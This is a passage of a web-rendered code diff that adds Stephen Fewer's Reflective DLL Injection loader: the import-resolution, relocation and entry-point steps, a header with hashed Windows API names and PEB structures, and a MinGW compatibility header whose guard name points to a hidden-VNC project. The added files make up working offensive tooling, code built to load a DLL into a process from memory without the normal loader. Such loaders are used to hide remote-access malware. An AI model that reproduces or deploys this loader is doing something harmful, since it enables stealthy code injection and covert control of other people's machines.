uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while (uiValueD--)
|
||||
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// itterate through all imports
|
||||
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while (DEREF(uiValueA))
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof(ULONG_PTR);
|
||||
if (uiValueD)
|
||||
uiValueD += sizeof(ULONG_PTR);
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
// check if their are any relocations present
|
||||
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// and we itterate through all entries...
|
||||
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while (uiValueB--)
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)(dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof(IMAGE_RELOC);
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// Store the parameter globally so DllMain can access it
|
||||
g_lpReflectiveParameter = lpParameter;
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,215 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#include <intrin.h>
|
||||
#else
|
||||
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
|
||||
#include <stdlib.h>
|
||||
#include <intrin.h>
|
||||
#endif
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#ifdef _MSC_VER
|
||||
#pragma intrinsic( _rotr )
|
||||
#define RDI_INLINE __forceinline
|
||||
#else
|
||||
#define RDI_INLINE static inline __attribute__((always_inline))
|
||||
#endif
|
||||
|
||||
RDI_INLINE DWORD ror(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
RDI_INLINE DWORD hash(char* c)
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, * PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK* pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC, * PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,18 @@
|
||||
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
|
||||
#ifndef _HVNC_SEH_COMPAT_H
|
||||
#define _HVNC_SEH_COMPAT_H
|
||||
|
||||
#ifdef __MINGW32__
|
||||
// MinGW doesn't support MSVC structured exception handling.
|
||||
// Replace __try/__except with plain code execution (no SEH guard).
|
||||
#define __try
|
||||
#define __except(x) if (0)
|
||||
#define __finally
|
||||
|
||||
// MSVC uses GetExceptionCode() inside __except; provide a stub.
|
||||
#ifndef GetExceptionCode
|
||||
#define GetExceptionCode() 0
|
||||
#endif
|
||||
#endif // __MINGW32__
|
||||
|
||||
#endif // _HVNC_SEH_COMPAT_H
|
||||
Reference in New Issue
Block a user